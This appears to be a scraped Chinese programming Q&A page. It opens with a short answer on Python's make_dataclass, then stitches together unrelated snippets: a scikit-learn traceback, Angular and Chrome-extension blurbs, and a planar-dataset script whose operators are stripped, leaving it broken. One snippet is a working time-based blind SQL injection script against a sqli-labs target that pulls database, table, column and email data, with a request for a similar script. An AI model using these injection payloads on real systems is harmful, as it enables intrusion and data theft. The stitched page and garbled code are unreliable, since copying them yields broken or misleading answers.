python make_dataclass

时间: 2024-10-08 15:15:08 浏览: 39
EPUB

Python_Data Analytics and Visualization-Packt Publishing(2017).epub

`dataclasses` 是 Python 的标准库之一,它提供了一个名为 `make_dataclass` 的工具函数,用于生成一个包含数据字段、构造函数以及一些常见特性的类。`dataclass` 主要用于简化创建具有默认值、文档字符串、属性访问器等的类的过程,特别是当需要处理复杂配置数据时非常方便。 使用 `make_dataclass` 的基本语法如下: ```python from dataclasses import make_dataclass # 定义一个数据类的描述 MyDataClass = make_dataclass('MyDataClass', fields=[('field1', type1), ('field2', type2), ...], init=True, # 是否自动生成初始化方法,默认True repr=True, # 是否自动生成 __repr__ 方法,默认True eq=True, # 是否自动生成 __eq__ 方法,默认True order=False) # 是否按字段顺序排序,如果order=True则会按照字段顺序排列,否则无序,默认False) # 现在你可以实例化这个数据类,并自动设置默认值 my_instance = MyDataClass(field1=value1, field2=value2) ```
阅读全文

相关推荐

Traceback (most recent call last): File "D:/pythonProject/DATA/jaffeim.ages(1)/test2.py", line 18, in <module> scores = cross_val_score(knn, X, y, cv=5, scoring='accuracy') File "C:\ProgramData\Anaconda3\envs\pythonProject\lib\site-packages\sklearn\model_selection\_validation.py", line 520, in cross_val_score error_score=error_score, File "C:\ProgramData\Anaconda3\envs\pythonProject\lib\site-packages\sklearn\model_selection\_validation.py", line 283, in cross_validate for train, test in cv.split(X, y, groups) File "C:\ProgramData\Anaconda3\envs\pythonProject\lib\site-packages\joblib\parallel.py", line 1043, in __call__ if self.dispatch_one_batch(iterator): File "C:\ProgramData\Anaconda3\envs\pythonProject\lib\site-packages\joblib\parallel.py", line 833, in dispatch_one_batch islice = list(itertools.islice(iterator, big_batch_size)) File "C:\ProgramData\Anaconda3\envs\pythonProject\lib\site-packages\sklearn\model_selection\_validation.py", line 268, in <genexpr> delayed(_fit_and_score)( File "C:\ProgramData\Anaconda3\envs\pythonProject\lib\site-packages\sklearn\model_selection\_split.py", line 340, in split for train, test in super().split(X, y, groups): File "C:\ProgramData\Anaconda3\envs\pythonProject\lib\site-packages\sklearn\model_selection\_split.py", line 86, in split for test_index in self._iter_test_masks(X, y, groups): File "C:\ProgramData\Anaconda3\envs\pythonProject\lib\site-packages\sklearn\model_selection\_split.py", line 709, in _iter_test_masks test_folds = self._make_test_folds(X, y) File "C:\ProgramData\Anaconda3\envs\pythonProject\lib\site-packages\sklearn\model_selection\_split.py", line 673, in _make_test_folds " number of members in each class." % (self.n_splits) ValueError: n_splits=5 cannot be greater than the number of members in each class. 进程已结束,退出代码1

import time import requests def get_data_len(url, data_payload): length = 1 while True: data = f"id=1' and if(LENGTH({data_payload})>{length},sleep(0.4),1)--+" start_time = time.time() response = requests.get(url, params=data) end_time = time.time() if end_time - start_time >= 0.4: length += 1 else: break return length def get_ASCII(url, ascii_payload): ascii_value = '' for i in range(1, len(ascii_payload) + 1): left = 32 right = 126 while left <= right: mid = left + (right - left) // 2 data = f"id=1' and if(ASCII(SUBSTRING({ascii_payload}, {i}, 1))>{mid},sleep(0.4),1)--+" start_time = time.time() response = requests.get(url, params=data) end_time = time.time() if end_time - start_time >= 0.4: left = mid + 1 else: right = mid - 1 ascii_value += chr(left) return ascii_value def get_schema_name(url): len = get_data_len(url, 'database()') print('获取数据库名字') db_name = get_ASCII(url, f'substr(database(),1,{len})') print(db_name) def get_table_name(url): table_name = get_ASCII(url, '(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())') print(table_name) def get_column_names(url, table_name): column_names = get_ASCII(url, f"(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}')") print(column_names) def get_column_data(url, table_name, column_name): column_data = get_ASCII(url, f"(SELECT GROUP_CONCAT({column_name}) FROM {table_name})") print(column_data) url = "http://192.168.124.128/sqli-labs-master/Less-9/??id=1/" print('开始') get_schema_name(url) print() get_table_name(url) get_column_names(url,'emails') table_name = 'emails' column_name = 'email_id' get_column_data(url, table_name, column_name)帮我写个类似这样的python时间盲注脚本

翻译这段程序并自行赋值调用:import matplotlib.pyplot as plt import numpy as np import sklearn import sklearn.datasets import sklearn.linear_model def plot_decision_boundary(model, X, y): # Set min and max values and give it some padding x_min, x_max = X[0, :].min() - 1, X[0, :].max() + 1 y_min, y_max = X[1, :].min() - 1, X[1, :].max() + 1 h = 0.01 # Generate a grid of points with distance h between them xx, yy = np.meshgrid(np.arange(x_min, x_max, h), np.arange(y_min, y_max, h)) # Predict the function value for the whole grid Z = model(np.c_[xx.ravel(), yy.ravel()]) Z = Z.reshape(xx.shape) # Plot the contour and training examples plt.contourf(xx, yy, Z, cmap=plt.cm.Spectral) plt.ylabel('x2') plt.xlabel('x1') plt.scatter(X[0, :], X[1, :], c=y, cmap=plt.cm.Spectral) def sigmoid(x): s = 1/(1+np.exp(-x)) return s def load_planar_dataset(): np.random.seed(1) m = 400 # number of examples N = int(m/2) # number of points per class print(np.random.randn(N)) D = 2 # dimensionality X = np.zeros((m,D)) # data matrix where each row is a single example Y = np.zeros((m,1), dtype='uint8') # labels vector (0 for red, 1 for blue) a = 4 # maximum ray of the flower for j in range(2): ix = range(Nj,N(j+1)) t = np.linspace(j3.12,(j+1)3.12,N) + np.random.randn(N)0.2 # theta r = anp.sin(4t) + np.random.randn(N)0.2 # radius X[ix] = np.c_[rnp.sin(t), rnp.cos(t)] Y[ix] = j X = X.T Y = Y.T return X, Y def load_extra_datasets(): N = 200 noisy_circles = sklearn.datasets.make_circles(n_samples=N, factor=.5, noise=.3) noisy_moons = sklearn.datasets.make_moons(n_samples=N, noise=.2) blobs = sklearn.datasets.make_blobs(n_samples=N, random_state=5, n_features=2, centers=6) gaussian_quantiles = sklearn.datasets.make_gaussian_quantiles(mean=None, cov=0.5, n_samples=N, n_features=2, n_classes=2, shuffle=True, random_state=None) no_structure = np.random.rand(N, 2), np.random.rand(N, 2) return noisy_circles, noisy_moons, blobs, gaussian_quantiles, no_structure

最新推荐

recommend-type

精细金属掩模板(FMM)行业研究报告 显示技术核心部件FMM材料产业分析与市场应用

精细金属掩模板(FMM)作为OLED蒸镀工艺中的核心消耗部件,负责沉积RGB有机物质形成像素。材料由Frame、Cover等五部分组成,需满足特定热膨胀性能。制作工艺包括蚀刻、电铸等,影响FMM性能。适用于显示技术研究人员、产业分析师,旨在提供FMM材料技术发展、市场规模及产业链结构的深入解析。
recommend-type

【创新未发表】斑马算法ZOA-Kmean-Transformer-LSTM负荷预测Matlab源码 9515期.zip

CSDN海神之光上传的全部代码均可运行,亲测可用,直接替换数据即可,适合小白; 1、代码压缩包内容 主函数:Main.m; 调用函数:其他m文件;无需运行 运行结果效果图; 2、代码运行版本 Matlab 2024b;若运行有误,根据提示修改;若不会,可私信博主; 3、运行操作步骤 步骤一:将所有文件放到Matlab的当前文件夹中; 步骤二:双击打开除Main.m的其他m文件; 步骤三:点击运行,等程序运行完得到结果; 4、仿真咨询 如需其他服务,可私信博主或扫描博主博客文章底部QQ名片; 4.1 CSDN博客或资源的完整代码提供 4.2 期刊或参考文献复现 4.3 Matlab程序定制 4.4 科研合作 智能优化算法优化Kmean-Transformer-LSTM负荷预测系列程序定制或科研合作方向: 4.4.1 遗传算法GA/蚁群算法ACO优化Kmean-Transformer-LSTM负荷预测 4.4.2 粒子群算法PSO/蛙跳算法SFLA优化Kmean-Transformer-LSTM负荷预测 4.4.3 灰狼算法GWO/狼群算法WPA优化Kmean-Transformer-LSTM负荷预测 4.4.4 鲸鱼算法WOA/麻雀算法SSA优化Kmean-Transformer-LSTM负荷预测 4.4.5 萤火虫算法FA/差分算法DE优化Kmean-Transformer-LSTM负荷预测 4.4.6 其他优化算法优化Kmean-Transformer-LSTM负荷预测
recommend-type

j link 修复问题套件

j link 修复问题套件
recommend-type

C#实现modbusRTU(实现了01 3 05 06 16等5个功能码)

资源包括 modbuspoll 虚拟串口软件vspd modsim32和modscan32 以及C#版的modbus程序 打开modsim32连接串口2 打开程序连接串口3 即可和Mdosim32进行读写通信。 本代码为C# winform程序,实现了01 03 05 06 16总共五个功能码的功能。 备注: 01功能码:读线圈开关。 03功能码: 读寄存器值。 05功能码:写线圈开关。 06功能码:写单个寄存器值。 16功能码:写多个寄存器值。
recommend-type

【创新未发表】基于matlab粒子群算法PSO-PID控制器优化【含Matlab源码 9659期】.zip

CSDN海神之光上传的全部代码均可运行,亲测可用,尽我所能,为你服务; 1、代码压缩包内容 主函数:main.m; 调用函数:其他m文件;无需运行 运行结果效果图; 2、代码运行版本 Matlab 2019b;若运行有误,根据提示修改;若不会,可私信博主; 3、运行操作步骤 步骤一:将所有文件放到Matlab的当前文件夹中; 步骤二:双击打开除main.m的其他m文件; 步骤三:点击运行,等程序运行完得到结果; 4、仿真咨询 如需其他服务,可私信博主或扫描博主博客文章底部QQ名片; 4.1 CSDN博客或资源的完整代码提供 4.2 期刊或参考文献复现 4.3 Matlab程序定制 4.4 科研合作 智能优化算法优化PID系列程序定制或科研合作方向: 4.4.1 遗传算法GA/蚁群算法ACO优化PID 4.4.2 粒子群算法PSO/蛙跳算法SFLA优化PID 4.4.3 灰狼算法GWO/狼群算法WPA优化PID 4.4.4 鲸鱼算法WOA/麻雀算法SSA优化PID 4.4.5 萤火虫算法FA/差分算法DE优化PID 4.4.6 其他优化算法优化PID
recommend-type

Angular实现MarcHayek简历展示应用教程

资源摘要信息:"MarcHayek-CV:我的简历的Angular应用" Angular 应用是一个基于Angular框架开发的前端应用程序。Angular是一个由谷歌(Google)维护和开发的开源前端框架,它使用TypeScript作为主要编程语言,并且是单页面应用程序(SPA)的优秀解决方案。该应用不仅展示了Marc Hayek的个人简历,而且还介绍了如何在本地环境中设置和配置该Angular项目。 知识点详细说明: 1. Angular 应用程序设置: - Angular 应用程序通常依赖于Node.js运行环境,因此首先需要全局安装Node.js包管理器npm。 - 在本案例中,通过npm安装了两个开发工具:bower和gulp。bower是一个前端包管理器,用于管理项目依赖,而gulp则是一个自动化构建工具,用于处理如压缩、编译、单元测试等任务。 2. 本地环境安装步骤: - 安装命令`npm install -g bower`和`npm install --global gulp`用来全局安装这两个工具。 - 使用git命令克隆远程仓库到本地服务器。支持使用SSH方式(`***:marc-hayek/MarcHayek-CV.git`)和HTTPS方式(需要替换为具体用户名,如`git clone ***`)。 3. 配置流程: - 在server文件夹中的config.json文件里,需要添加用户的电子邮件和密码,以便该应用能够通过内置的联系功能发送信息给Marc Hayek。 - 如果想要在本地服务器上运行该应用程序,则需要根据不同的环境配置(开发环境或生产环境)修改config.json文件中的“baseURL”选项。具体而言,开发环境下通常设置为“../build”,生产环境下设置为“../bin”。 4. 使用的技术栈: - JavaScript:虽然没有直接提到,但是由于Angular框架主要是用JavaScript来编写的,因此这是必须理解的核心技术之一。 - TypeScript:Angular使用TypeScript作为开发语言,它是JavaScript的一个超集,添加了静态类型检查等功能。 - Node.js和npm:用于运行JavaScript代码以及管理JavaScript项目的依赖。 - Git:版本控制系统,用于代码的版本管理及协作开发。 5. 关于项目结构: - 该应用的项目文件夹结构可能遵循Angular CLI的典型结构,包含了如下目录:app(存放应用组件)、assets(存放静态资源如图片、样式表等)、environments(存放环境配置文件)、server(存放服务器配置文件如上文的config.json)等。 6. 开发和构建流程: - 开发时,可能会使用Angular CLI来快速生成组件、服务等,并利用热重载等特性进行实时开发。 - 构建应用时,通过gulp等构建工具可以进行代码压缩、ES6转译、单元测试等自动化任务,以确保代码的质量和性能优化。 7. 部署: - 项目最终需要部署到服务器上,配置文件中的“baseURL”选项指明了服务器上的资源基础路径。 8. 关于Git仓库: - 压缩包子文件的名称为MarcHayek-CV-master,表明这是一个使用Git版本控制的仓库,且存在一个名为master的分支,这通常是项目的主分支。 以上知识点围绕Angular应用“MarcHayek-CV:我的简历”的创建、配置、开发、构建及部署流程进行了详细说明,涉及了前端开发中常见的工具、技术及工作流。
recommend-type

管理建模和仿真的文件

管理Boualem Benatallah引用此版本:布阿利姆·贝纳塔拉。管理建模和仿真。约瑟夫-傅立叶大学-格勒诺布尔第一大学,1996年。法语。NNT:电话:00345357HAL ID:电话:00345357https://theses.hal.science/tel-003453572008年12月9日提交HAL是一个多学科的开放存取档案馆,用于存放和传播科学研究论文,无论它们是否被公开。论文可以来自法国或国外的教学和研究机构,也可以来自公共或私人研究中心。L’archive ouverte pluridisciplinaire
recommend-type

深入剖析:内存溢出背后的原因、预防及应急策略(专家版)

![深入剖析:内存溢出背后的原因、预防及应急策略(专家版)](https://d8it4huxumps7.cloudfront.net/uploads/images/65e82a01a4196_dangling_pointer_in_c_2.jpg?d=2000x2000) 参考资源链接:[Net 内存溢出(System.OutOfMemoryException)的常见情况和处理方式总结](https://wenku.csdn.net/doc/6412b784be7fbd1778d4a95f?spm=1055.2635.3001.10343) # 1. 内存溢出的概念及影响 内存溢出,又称
recommend-type

Java中如何对年月日时分秒的日期字符串作如下处理:如何日期分钟介于两个相连的半点之间,就将分钟数调整为前半点

在Java中,你可以使用`java.time`包中的类来处理日期和时间,包括格式化和调整。下面是一个示例,展示了如何根据给定的日期字符串(假设格式为"yyyy-MM-dd HH:mm:ss")进行这样的处理: ```java import java.text.SimpleDateFormat; import java.time.LocalDateTime; import java.time.ZoneId; import java.time.ZonedDateTime; public class Main { public static void main(String[] args
recommend-type

Crossbow Spot最新更新 - 获取Chrome扩展新闻

资源摘要信息:"Crossbow Spot - Latest News Update-crx插件" 该信息是关于一款特定的Google Chrome浏览器扩展程序,名为"Crossbow Spot - Latest News Update"。此插件的目的是帮助用户第一时间获取最新的Crossbow Spot相关信息,它作为一个RSS阅读器,自动聚合并展示Crossbow Spot的最新新闻内容。 从描述中可以提取以下关键知识点: 1. 功能概述: - 扩展程序能让用户领先一步了解Crossbow Spot的最新消息,提供实时更新。 - 它支持自动更新功能,用户不必手动点击即可刷新获取最新资讯。 - 用户界面设计灵活,具有美观的新闻小部件,使得信息的展现既实用又吸引人。 2. 用户体验: - 桌面通知功能,通过Chrome的新通知中心托盘进行实时推送,确保用户不会错过任何重要新闻。 - 提供一个便捷的方式来保持与Crossbow Spot最新动态的同步。 3. 语言支持: - 该插件目前仅支持英语,但开发者已经计划在未来的版本中添加对其他语言的支持。 4. 技术实现: - 此扩展程序是基于RSS Feed实现的,即从Crossbow Spot的RSS源中提取最新新闻。 - 扩展程序利用了Chrome的通知API,以及RSS Feed处理机制来实现新闻的即时推送和展示。 5. 版权与免责声明: - 所有的新闻内容都是通过RSS Feed聚合而来,扩展程序本身不提供原创内容。 - 用户在使用插件时应遵守相关的版权和隐私政策。 6. 安装与使用: - 用户需要从Chrome网上应用店下载.crx格式的插件文件,即Crossbow_Spot_-_Latest_News_Update.crx。 - 安装后,插件会自动运行,并且用户可以对其进行配置以满足个人偏好。 从以上信息可以看出,该扩展程序为那些对Crossbow Spot感兴趣或需要密切跟进其更新的用户提供了一个便捷的解决方案,通过集成RSS源和Chrome通知机制,使得信息获取变得更加高效和及时。这对于需要实时更新信息的用户而言,具有一定的实用价值。同时,插件的未来发展计划中包括了多语言支持,这将使得更多的用户能够使用并从中受益。